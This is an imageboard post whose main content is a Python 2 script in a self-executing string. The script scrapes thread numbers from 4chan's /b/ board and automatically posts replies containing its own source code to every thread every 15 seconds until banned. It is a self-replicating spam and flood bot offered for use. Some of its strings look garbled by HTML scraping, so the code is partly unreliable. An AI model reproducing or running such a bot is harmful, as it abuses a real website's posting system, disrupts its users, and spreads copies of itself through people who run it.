>>9
Nice. I bet you can do it in less lines with python.
s='import httplib,urlparse,urllib,time,re\nST,BU,PU,TP,PM,PE,PP,PMFS,SP,B=15,"
http://dat.4chan.org/b/imgboard.php","""<;a" target='_blank'>http://img.4chan.org/b/","
http://dat.4chan.org/b/imgboard.php","""<;a href="res/([0-9]{8})\.html">Reply</a>""","""# Run this with Python!!!\ns=\'%s\nexec(s)\'""" % s.replace("\\n","\\\\n").replace("\\t","\\\\t"),"email","password",3145728,"""Updating page\.""",True\nwhile B:\n\ttry:\n\t\ttry:\n\t\t\tsu=urlparse.urlsplit(BU)\n\t\t\thc=httplib.HTTPConnection(su[1])\n\t\t\thc.request("GET",su[2])\n\t\t\tr=hc.getresponse()\n\t\t\tB=r.status!=403\n\t\t\tip=r.read()\n\t\t\tms=re.findall(TP,ip)\n\t\t\tfor t in ms:\n\t\t\t\ttry:\n\t\t\t\t\tsu=urlparse.urlsplit(PU)\n\t\t\t\t\tpc,p,h=httplib.HTTPConnection(su[1]),urllib.urlencode({"resto":t,"email":PE,"com":PM,"pwd":PP,"mode":"regist","MAX_FILE_SIZE":PMFS}),{"Content-Type":"application/x-www-form-urlencoded","Accept":"text/plain"}\n\t\t\t\t\tpc.request("POST",su[2],p,h)\n\t\t\t\t\td=pc.getresponse().read()\n\t\t\t\t\tprint t\n\t\t\t\t\ttime.sleep(ST)\n\t\t\t\tfinally:\n\t\t\t\t\tpc.close()\n\t\texcept Exception,e:\n\t\t\tprint e\n\t\t\tcontinue\n\tfinally:\n\t\ttry:\n\t\t\thc.close()\n\t\texcept:\n\t\t\tpass\nprint "B&"\n'
exec(s)
Well, maybe not.